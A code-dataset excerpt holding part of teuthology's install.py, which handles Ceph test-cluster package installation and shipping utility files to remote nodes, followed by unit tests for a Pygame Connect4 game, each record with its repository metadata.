config: the config dict\n    \"\"\"\n\n#\n# __doc__ strings for upgrade and ceph_deploy_upgrade are set from\n# the same string so that help(upgrade) and help(ceph_deploy_upgrade)\n# look the same.\n#\n\n@contextlib.contextmanager\ndef upgrade(ctx, config):\n    upgrade_common(ctx, config, upgrade_old_style)\n    yield\n\nupgrade.__doc__ = docstring_for_upgrade.format(cmd_parameter='upgrade')\n\n@contextlib.contextmanager\ndef ceph_deploy_upgrade(ctx, config):\n    upgrade_common(ctx, config, upgrade_with_ceph_deploy)\n    yield\n\nceph_deploy_upgrade.__doc__ = docstring_for_upgrade.format(\n        cmd_parameter='ceph_deploy_upgrade')\n\n@contextlib.contextmanager\ndef ship_utilities(ctx, config):\n    \"\"\"\n    Write a copy of valgrind.supp to each of the remote sites.  Set executables used\n    by Ceph in /usr/local/bin.  When finished (upon exit of the teuthology run), remove\n    these files.\n\n    :param ctx: Context\n    :param config: Configuration\n    \"\"\"\n    assert config is None\n    testdir = teuthology.get_testdir(ctx)\n    filenames = []\n\n    log.info('Shipping valgrind.supp...')\n    with file(os.path.join(os.path.dirname(__file__), 'valgrind.supp'), 'rb') as f:\n        fn = os.path.join(testdir, 'valgrind.supp')\n        filenames.append(fn)\n        for rem in ctx.cluster.remotes.iterkeys():\n            teuthology.sudo_write_file(\n                remote=rem,\n                path=fn,\n                data=f,\n                )\n            f.seek(0)\n\n    FILES = ['daemon-helper', 'adjust-ulimits']\n    destdir = '/usr/bin'\n    for filename in FILES:\n        log.info('Shipping %r...', filename)\n        src = os.path.join(os.path.dirname(__file__), filename)\n        dst = os.path.join(destdir, filename)\n        filenames.append(dst)\n        with file(src, 'rb') as f:\n            for rem in ctx.cluster.remotes.iterkeys():\n                teuthology.sudo_write_file(\n                    remote=rem,\n                    path=dst,\n                    data=f,\n                )\n                f.seek(0)\n                rem.run(\n                    args=[\n                        'sudo',\n                        'chmod',\n                        'a=rx',\n                        '--',\n                        dst,\n                    ],\n                )\n\n    try:\n        yield\n    finally:\n        log.info('Removing shipped files: %s...', ' '.join(filenames))\n        run.wait(\n            ctx.cluster.run(\n                args=[\n                    'sudo',\n                    'rm',\n                    '-f',\n                    '--',\n                ] + list(filenames),\n                wait=False,\n            ),\n        )\n\n\ndef get_flavor(config):\n    \"\"\"\n    Determine the flavor to use.\n    \"\"\"\n    config = config or dict()\n    flavor = config.get('flavor', 'basic')\n\n    if config.get('path'):\n        # local dir precludes any other flavors\n        flavor = 'local'\n    else:\n        if config.get('valgrind'):\n            flavor = 'notcmalloc'\n        else:\n            if config.get('coverage'):\n                flavor = 'gcov'\n    return flavor\n\n\n@contextlib.contextmanager\ndef task(ctx, config):\n    \"\"\"\n    Install packages for a given project.\n\n    tasks:\n    - install:\n        project: ceph\n        branch: bar\n    - install:\n        project: samba\n        branch: foo\n        extra_packages: ['samba']\n    - install:\n        rhbuild: 1.3.0\n        playbook: downstream_setup.yml\n        vars:\n           yum_repos:\n             - url: \"http://location.repo\"\n               name: \"ceph_repo\"\n\n    Overrides are project specific:\n\n    overrides:\n      install:\n        ceph:\n          sha1: ...\n\n\n    Debug packages may optionally be installed:\n\n    overrides:\n      install:\n        ceph:\n          debuginfo: true\n\n\n    Default package lists (which come from packages.yaml) may be overridden:\n\n    overrides:\n      install:\n        ceph:\n          packages:\n            deb:\n            - ceph-osd\n            - ceph-mon\n            rpm:\n            - ceph-devel\n            - rbd-fuse\n\n    When tag, branch and sha1 do not reference the same commit hash, the\n    tag takes precedence over the branch and the branch takes precedence\n    over the sha1.\n\n    When the overrides have a sha1 that is different from the sha1 of\n    the project to be installed, it will be a noop if the project has\n    a branch or tag, because they take precedence over the sha1. For\n    instance:\n\n    overrides:\n      install:\n        ceph:\n          sha1: 1234\n\n    tasks:\n    - install:\n        project: ceph\n          sha1: 4567\n          branch: foobar # which has sha1 4567\n\n    The override will transform the tasks as follows:\n\n    tasks:\n    - install:\n        project: ceph\n          sha1: 1234\n          branch: foobar # which has sha1 4567\n\n    But the branch takes precedence over the sha1 and foobar\n    will be installed. The override of the sha1 has no effect.\n\n    When passed 'rhbuild' as a key, it will attempt to install an rh ceph build using ceph-deploy\n\n    Reminder regarding teuthology-suite side effects:\n\n    The teuthology-suite command always adds the following:\n\n    overrides:\n      install:\n        ceph:\n          sha1: 1234\n\n    where sha1 matches the --ceph argument. For instance if\n    teuthology-suite is called with --ceph master, the sha1 will be\n    the tip of master. If called with --ceph v0.94.1, the sha1 will be\n    the v0.94.1 (as returned by git rev-parse v0.94.1 which is not to\n    be confused with git rev-parse v0.94.1^{commit})\n\n    :param ctx: the argparse.Namespace object\n    :param config: the config dict\n    \"\"\"\n    if config is None:\n        config = {}\n    assert isinstance(config, dict), \\\n        \"task install only supports a dictionary for configuration\"\n\n    project, = config.get('project', 'ceph'),\n    log.debug('project %s' % project)\n    overrides = ctx.config.get('overrides')\n    if overrides:\n        install_overrides = overrides.get('install', {})\n        teuthology.deep_merge(config, install_overrides.get(project, {}))\n    log.debug('config %s' % config)\n\n    rhbuild = None\n    if config.get('rhbuild'):\n        rhbuild = config.get('rhbuild')\n        log.info(\"Build is %s \" % rhbuild)\n\n    flavor = get_flavor(config)\n    log.info(\"Using flavor: %s\", flavor)\n\n    ctx.summary['flavor'] = flavor\n    nested_tasks = [lambda: rh_install(ctx=ctx, config=config),\n                    lambda: ship_utilities(ctx=ctx, config=None)]\n\n    if config.get('rhbuild'):\n        if config.get('playbook'):\n            ansible_config=dict(config)\n            # remove key not required by ansible task\n            del ansible_config['rhbuild']\n            nested_tasks.insert(0, lambda: ansible.CephLab(ctx,config=ansible_config))\n        with contextutil.nested(*nested_tasks):\n                yield\n    else:\n        yield\n        # with contextutil.nested(\n        #     lambda: install(ctx=ctx, config=dict(\n        #         branch=config.get('branch'),\n        #         tag=config.get('tag'),\n        #         sha1=config.get('sha1'),\n        #         debuginfo=config.get('debuginfo'),\n        #         flavor=flavor,\n        #         extra_packages=config.get('extra_packages', []),\n        #         exclude_packages=config.get('exclude_packages', []),\n        #         extras=config.get('extras', None),\n        #         wait_for_package=config.get('wait_for_package', False),\n        #         project=project,\n        #         packages=config.get('packages', dict()),\n        #     )),\n        #     lambda: ship_utilities(ctx=ctx, config=None),\n        # ):\n        #     yield\n", "repo_name": "zglnsyyj/teuthology", "sub_path": "teuthology/task/install.py", "file_name": "install.py", "file_ext": "py", "file_size_in_byte": 44997, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "teuthology.packaging.get_builder_project", "line_number": 25, "usage_type": "call"}, {"api_name": "teuthology.packaging", "line_number": 25, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 41, "usage_type": "call"}, {"api_name": "teuthology.misc.sudo_write_file", "line_number": 43, "usage_type": "call"}, {"api_name": "teuthology.misc", "line_number": 43, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 63, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 63, "usage_type": "name"}, {"api_name": "cStringIO.StringIO", "line_number": 65, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 74, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 74, "usage_type": "name"}, {"api_name": "cStringIO.StringIO", "line_number": 77, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 93, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 93, "usage_type": "name"}, {"api_name": "cStringIO.StringIO", "line_number": 97, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 104, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 104, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 111, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 128, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 128, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 130, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 130, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 132, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 132, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 133, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 133, "usage_type": "name"}, {"api_name": "teuthology.packaging.get_builder_project", "line_number": 143, "usage_type": "call"}, {"api_name": "teuthology.packaging", "line_number": 143, "usage_type": "name"}, {"api_name": "teuthology.packaging.GitbuilderProject", "line_number": 144, "usage_type": "attribute"}, {"api_name": "teuthology.packaging", "line_number": 144, "usage_type": "name"}, {"api_name": "teuthology.config.config._defaults", "line_number": 146, "usage_type": "attribute"}, {"api_name": "teuthology.config.config", "line_number": 146, "usage_type": "name"}, {"api_name": "teuthology.config.config.gitbuilder_host", "line_number": 147, "usage_type": "attribute"}, {"api_name": "teuthology.config.config", "line_number": 147, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 154, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 154, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 155, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 155, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 156, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 156, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 170, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 170, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 175, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 175, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 177, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 177, "usage_type": "name"}, {"api_name": "os.name", "line_number": 201, "usage_type": "attribute"}, {"api_name": "orchestra.run.Raw", "line_number": 285, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 285, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 287, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 287, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 289, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 289, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 299, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 299, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 300, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 300, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 302, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 302, "usage_type": "name"}, {"api_name": "teuthology.packaging.get_package_version", "line_number": 325, "usage_type": "call"}, {"api_name": "teuthology.packaging", "line_number": 325, "usage_type": "name"}, {"api_name": "teuthology.parallel.parallel", "line_number": 348, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 363, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 363, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 365, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 365, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 367, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 367, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 374, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 374, "usage_type": "name"}, {"api_name": "teuthology.parallel.parallel", "line_number": 392, "usage_type": "call"}, {"api_name": "teuthology.misc.get_system_type", "line_number": 394, "usage_type": "call"}, {"api_name": "teuthology.misc", "line_number": 394, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 422, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 422, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 425, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 425, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 427, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 427, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 428, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 428, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 430, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 430, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 437, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 437, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 441, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 441, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 443, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 443, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 452, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 452, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 487, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 487, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 491, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 491, "usage_type": "name"}, {"api_name": "teuthology.parallel.parallel", "line_number": 533, "usage_type": "call"}, {"api_name": "teuthology.misc.get_system_type", "line_number": 535, "usage_type": "call"}, {"api_name": "teuthology.misc", "line_number": 535, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 552, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 552, "usage_type": "name"}, {"api_name": "teuthology.parallel.parallel", "line_number": 598, "usage_type": "call"}, {"api_name": "teuthology.parallel.parallel", "line_number": 606, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 621, "usage_type": "call"}, {"api_name": "os.path", "line_number": 621, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 626, "usage_type": "call"}, {"api_name": "os.path", "line_number": 626, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 630, "usage_type": "call"}, {"api_name": "os.path", "line_number": 630, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 631, "usage_type": "call"}, {"api_name": "os.path", "line_number": 631, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 634, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 721, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 721, "usage_type": "name"}, {"api_name": "cStringIO.StringIO", "line_number": 723, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 732, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 732, "usage_type": "name"}, {"api_name": "cStringIO.StringIO", "line_number": 735, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 748, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 748, "usage_type": "name"}, {"api_name": "cStringIO.StringIO", "line_number": 752, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 758, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 758, "usage_type": "name"}, {"api_name": "teuthology.parallel.parallel", "line_number": 780, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 765, "usage_type": "attribute"}, {"api_name": "orchestra.run.Raw", "line_number": 828, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 828, "usage_type": "name"}, {"api_name": "orchestra.run.Raw", "line_number": 833, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 833, "usage_type": "name"}, {"api_name": "cStringIO.StringIO", "line_number": 834, "usage_type": "call"}, {"api_name": "cStringIO.StringIO", "line_number": 848, "usage_type": "call"}, {"api_name": "orchestra.run.Raw", "line_number": 854, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 854, "usage_type": "name"}, {"api_name": "teuthology.packaging.get_package_version", "line_number": 865, "usage_type": "call"}, {"api_name": "teuthology.packaging", "line_number": 865, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 884, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 996, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 1034, "usage_type": "call"}, {"api_name": "teuthology.misc.deep_merge", "line_number": 1040, "usage_type": "call"}, {"api_name": "teuthology.misc", "line_number": 1040, "usage_type": "name"}, {"api_name": "teuthology.misc.get_system_type", "line_number": 1062, "usage_type": "call"}, {"api_name": "teuthology.misc", "line_number": 1062, "usage_type": "name"}, {"api_name": "contextlib.contextmanager", "line_number": 1122, "usage_type": "attribute"}, {"api_name": "contextlib.contextmanager", "line_number": 1129, "usage_type": "attribute"}, {"api_name": "teuthology.misc.get_testdir", "line_number": 1148, "usage_type": "call"}, {"api_name": "teuthology.misc", "line_number": 1148, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 1152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1152, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 1152, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1153, "usage_type": "attribute"}, {"api_name": "teuthology.misc.sudo_write_file", "line_number": 1156, "usage_type": "call"}, {"api_name": "teuthology.misc", "line_number": 1156, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 1167, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1167, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 1167, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1168, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1168, "usage_type": "attribute"}, {"api_name": "teuthology.misc.sudo_write_file", "line_number": 1172, "usage_type": "call"}, {"api_name": "teuthology.misc", "line_number": 1172, "usage_type": "name"}, {"api_name": "orchestra.run.wait", "line_number": 1192, "usage_type": "call"}, {"api_name": "orchestra.run", "line_number": 1192, "usage_type": "name"}, {"api_name": "contextlib.contextmanager", "line_number": 1137, "usage_type": "attribute"}, {"api_name": "teuthology.misc.deep_merge", "line_number": 1335, "usage_type": "call"}, {"api_name": "teuthology.misc", "line_number": 1335, "usage_type": "name"}, {"api_name": "teuthology.contextutil.nested", "line_number": 1356, "usage_type": "call"}, {"api_name": "teuthology.contextutil", "line_number": 1356, "usage_type": "name"}, {"api_name": "contextlib.contextmanager", "line_number": 1224, "usage_type": "attribute"}]}
{"seq_id": "23032301435", "text": "import unittest\nimport pygame\nimport math\nfrom board.board import Board\nfrom computer.computerAI import ComputerPlayer\nfrom game.game import Game\nfrom settings.settings import Settings\n\n\nclass Tests(unittest.TestCase):\n    def test_board(self):\n        board = Board()\n        new_board = board.get_board()\n        self.assertTupleEqual(board.get_purple_ish(), (153, 102, 255))\n        self.assertTupleEqual(board.get_blue(), (0, 0, 255))\n        self.assertTupleEqual(board.get_black(), (0, 0, 0))\n        self.assertTupleEqual(board.get_lime(), (57, 255, 20))\n        self.assertTupleEqual(board.get_mango_tango(), (255, 130, 67))\n        self.assertEqual(board.get_ai_piece(), 2)\n        self.assertEqual(board.get_ai(), 1)\n        self.assertEqual(board.get_player_piece(), 1)\n        self.assertEqual(board.get_player(), 0)\n        self.assertEqual(board.get_empty(), 0)\n        self.assertEqual(board.get_row_count(), 6)\n        self.assertEqual(board.get_column_count(), 7)\n        self.assertEqual(board.get_square_size(), 100)\n        self.assertEqual(board.get_width(), 700)\n        self.assertEqual(board.get_height(), 700)\n        self.assertTupleEqual(board.get_size(), (700, 700))\n        self.assertEqual(board.get_radius(), 45)\n        self.assertEqual(board.get_screen(), pygame.display.set_mode((700, 700)))\n        self.assertEqual(board.get_window_length(), 4)\n        self.assertTrue(board.location_is_valid(new_board, 1))\n        self.assertEqual(len(board.get_valid_locations(new_board)), 7)\n        self.assertEqual(board.get_next_open_row(new_board, 1), 0)\n\n    def test_computer(self):\n        computer = ComputerPlayer()\n        board = Board()\n        new_board = board.create_board()\n        column = 3\n        row = 0\n        piece = 1\n        columns_array = [int(i) for i in list(new_board[:, column])]\n        window = columns_array[row:row + Game.get_window_length(board)]\n        self.assertEqual(computer.give_score_to_window(window, piece), 0)\n        self.assertEqual(computer.give_score_to_current_position(new_board, piece), 0)\n        best_column = computer.pick_best_move(new_board, piece)\n        self.assertGreaterEqual(best_column, 0)\n        self.assertLessEqual(best_column, 6)\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n        self.assertEqual(column, best_column)\n        new_board[3][2] = 1\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n        new_board = board.create_board()\n        new_board[5][1] = 1\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n        new_board[5][4] = 1\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n        new_board[5][6] = 1\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n        new_board[5][5] = 1\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n        new_board[5][2] = 1\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n        new_board[4][5] = 1\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n        new_board[4][6] = 1\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n        new_board[3][6] = 1\n        column, minimax_score = computer.minimax(new_board, 5, -math.inf, math.inf, True)\n\n        board=Board()\n        new_board=board.create_board()\n        column=computer.computer_random_move(new_board)\n        self.assertGreaterEqual(column,0)\n        self.assertLessEqual(column,6)\n        self.assertEqual(board.get_number_of_valid_locations(new_board),7)\n\n\n    def test_game(self):\n        game = Game()\n        board = Board()\n        new_board = board.create_board()\n        new_board[5][0] = 1\n        new_board[4][0] = 1\n        new_board[3][0] = 1\n        new_board[2][0] = 1\n        self.assertTrue(game.winning_move(new_board, 1))\n\n        new_board = board.create_board()\n        new_board[5][1] = 1\n        new_board[5][2] = 1\n        new_board[5][3] = 1\n        new_board[5][4] = 1\n        self.assertTrue(game.winning_move(new_board, 1))\n\n        new_board = board.create_board()\n        new_board[5][0] = 1\n        new_board[4][1] = 1\n        new_board[3][2] = 1\n        new_board[2][3] = 1\n        self.assertTrue(game.winning_move(new_board, 1))\n\n        new_board = board.create_board()\n        new_board[5][6] = 1\n        new_board[4][5] = 1\n        new_board[3][4] = 1\n        new_board[2][3] = 1\n        self.assertTrue(game.winning_move(new_board, 1))\n\n    def test_settings(self):\n        settings=Settings(\"testing.properties\")\n        current_difficulty=\"minimax\"\n        self.assertEqual(settings.get_difficulty(),current_difficulty)", "repo_name": "SchiauAlessio/Connect4", "sub_path": "src/tests/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 4839, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "unittest.TestCase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "board.board", "line_number": 12, "usage_type": "name"}, {"api_name": "board.board.Board", "line_number": 12, "usage_type": "call"}, {"api_name": "board.board.get_board", "line_number": 13, "usage_type": "call"}, {"api_name": "board.board", "line_number": 13, "usage_type": "name"}, {"api_name": "board.board.get_purple_ish", "line_number": 14, "usage_type": "call"}, {"api_name": "board.board", "line_number": 14, "usage_type": "name"}, {"api_name": "board.board.get_blue", "line_number": 15, "usage_type": "call"}, {"api_name": "board.board", "line_number": 15, "usage_type": "name"}, {"api_name": "board.board.get_black", "line_number": 16, "usage_type": "call"}, {"api_name": "board.board", "line_number": 16, "usage_type": "name"}, {"api_name": "board.board.get_lime", "line_number": 17, "usage_type": "call"}, {"api_name": "board.board", "line_number": 17, "usage_type": "name"}, {"api_name": "board.board.get_mango_tango", "line_number": 18, "usage_type": "call"}, {"api_name": "board.board", "line_number": 18, "usage_type": "name"}, {"api_name": "board.board.get_ai_piece", "line_number": 19, "usage_type": "call"}, {"api_name": "board.board", "line_number": 19, "usage_type": "name"}, {"api_name": "board.board.get_ai", "line_number": 20, "usage_type": "call"}, {"api_name": "board.board", "line_number": 20, "usage_type": "name"}, {"api_name": "board.board.get_player_piece", "line_number": 21, "usage_type": "call"}, {"api_name": "board.board", "line_number": 21, "usage_type": "name"}, {"api_name": "board.board.get_player", "line_number": 22, "usage_type": "call"}, {"api_name": "board.board", "line_number": 22, "usage_type": "name"}, {"api_name": "board.board.get_empty", "line_number": 23, "usage_type": "call"}, {"api_name": "board.board", "line_number": 23, "usage_type": "name"}, {"api_name": "board.board.get_row_count", "line_number": 24, "usage_type": "call"}, {"api_name": "board.board", "line_number": 24, "usage_type": "name"}, {"api_name": "board.board.get_column_count", "line_number": 25, "usage_type": "call"}, {"api_name": "board.board", "line_number": 25, "usage_type": "name"}, {"api_name": "board.board.get_square_size", "line_number": 26, "usage_type": "call"}, {"api_name": "board.board", "line_number": 26, "usage_type": "name"}, {"api_name": "board.board.get_width", "line_number": 27, "usage_type": "call"}, {"api_name": "board.board", "line_number": 27, "usage_type": "name"}, {"api_name": "board.board.get_height", "line_number": 28, "usage_type": "call"}, {"api_name": "board.board", "line_number": 28, "usage_type": "name"}, {"api_name": "board.board.get_size", "line_number": 29, "usage_type": "call"}, {"api_name": "board.board", "line_number": 29, "usage_type": "name"}, {"api_name": "board.board.get_radius", "line_number": 30, "usage_type": "call"}, {"api_name": "board.board", "line_number": 30, "usage_type": "name"}, {"api_name": "board.board.get_screen", "line_number": 31, "usage_type": "call"}, {"api_name": "board.board", "line_number": 31, "usage_type": "name"}, {"api_name": "pygame.display.set_mode", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 31, "usage_type": "attribute"}, {"api_name": "board.board.get_window_length", "line_number": 32, "usage_type": "call"}, {"api_name": "board.board", "line_number": 32, "usage_type": "name"}, {"api_name": "board.board.location_is_valid", "line_number": 33, "usage_type": "call"}, {"api_name": "board.board", "line_number": 33, "usage_type": "name"}, {"api_name": "board.board.get_valid_locations", "line_number": 34, "usage_type": "call"}, {"api_name": "board.board", "line_number": 34, "usage_type": "name"}, {"api_name": "board.board.get_next_open_row", "line_number": 35, "usage_type": "call"}, {"api_name": "board.board", "line_number": 35, "usage_type": "name"}, {"api_name": "computer.computerAI", "line_number": 38, "usage_type": "name"}, {"api_name": "computer.computerAI.ComputerPlayer", "line_number": 38, "usage_type": "call"}, {"api_name": "board.board", "line_number": 39, "usage_type": "name"}, {"api_name": "board.board.Board", "line_number": 39, "usage_type": "call"}, {"api_name": "board.board.create_board", "line_number": 40, "usage_type": "call"}, {"api_name": "board.board", "line_number": 40, "usage_type": "name"}, {"api_name": "game.game.Game.get_window_length", "line_number": 45, "usage_type": "call"}, {"api_name": "board.board", "line_number": 45, "usage_type": "argument"}, {"api_name": "game.game.Game", "line_number": 45, "usage_type": "name"}, {"api_name": "computer.computerAI.give_score_to_window", "line_number": 46, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 46, "usage_type": "name"}, {"api_name": "computer.computerAI.give_score_to_current_position", "line_number": 47, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 47, "usage_type": "name"}, {"api_name": "computer.computerAI.pick_best_move", "line_number": 48, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 48, "usage_type": "name"}, {"api_name": "computer.computerAI.minimax", "line_number": 51, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 51, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 51, "usage_type": "attribute"}, {"api_name": "computer.computerAI.minimax", "line_number": 54, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 54, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 54, "usage_type": "attribute"}, {"api_name": "board.board.create_board", "line_number": 55, "usage_type": "call"}, {"api_name": "board.board", "line_number": 55, "usage_type": "name"}, {"api_name": "computer.computerAI.minimax", "line_number": 57, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 57, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 57, "usage_type": "attribute"}, {"api_name": "computer.computerAI.minimax", "line_number": 59, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 59, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 59, "usage_type": "attribute"}, {"api_name": "computer.computerAI.minimax", "line_number": 61, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 61, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 61, "usage_type": "attribute"}, {"api_name": "computer.computerAI.minimax", "line_number": 63, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 63, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 63, "usage_type": "attribute"}, {"api_name": "computer.computerAI.minimax", "line_number": 65, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 65, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 65, "usage_type": "attribute"}, {"api_name": "computer.computerAI.minimax", "line_number": 67, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 67, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 67, "usage_type": "attribute"}, {"api_name": "computer.computerAI.minimax", "line_number": 69, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 69, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 69, "usage_type": "attribute"}, {"api_name": "computer.computerAI.minimax", "line_number": 71, "usage_type": "call"}, {"api_name": "computer.computerAI", "line_number": 71, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 71, "usage_type": "attribute"}, {"api_name": "board.board", "line_number": 73, "usage_type": "name"}, {"api_name": "board.board.Board", "line_number": 73, "usage_type": "call"}, {"api_name": "board.board.create_board", "line_number": 74, "usage_type": "call"}, {"api_name": "board.board", "line_number": 74, "usage_type": "name"}, {"api_name": "computer.computerAI.computer_random_move", "line_number": 75, "usage_type": "call"}, {"api_name": 